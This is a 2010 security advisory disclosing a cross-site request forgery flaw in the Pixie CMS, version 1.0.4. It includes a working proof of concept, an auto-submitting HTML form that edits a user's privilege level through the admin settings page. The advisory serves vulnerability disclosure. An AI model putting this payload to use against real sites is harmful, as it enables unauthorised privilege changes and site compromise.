XSRF (CSRF) in Pixie
| Vulnerability ID: | HTB22471 |
| Product: | Pixie |
| Vendor: | Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) |
| Vulnerable Version: | 1.0.4 and Probably Prior Versions |
| Vendor Notification: | 01 July 2010 |
| Public Disclosure: | 15 July 2010 |
| Vulnerability Type: | CSRF (Cross-Site Request Forgery) |
| Status: | Not Fixed, Vendor Alerted, Awaiting Vendor Response |
| Risk level: | Low |
 | |
| Credit: | High-Tech Bridge SA |
Vulnerability Details: | |
| The vulnerability exists due to failure in the user privilieges script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&x=users" method="post" name="main" > <input type="hidden" name="uname" value="test" /> <input type="hidden" name="realname" value="test name2" /> <input type="hidden" name="email" value="myemail@myemaildomain.com" /> <input type="submit" name="user_edit" id="sbmtit" value="Update" /> <input type="hidden" name="privilege" value="2" /> <input type="hidden" name="user_id" value="2" /> </form> <script> document.getElementById('sbmtit').click(); </script> | |
Solution: | |
| Currently we are not aware of any vendor-supplied patches or other solutions. If you are aware of more recent information related to this issue please notify us: | |
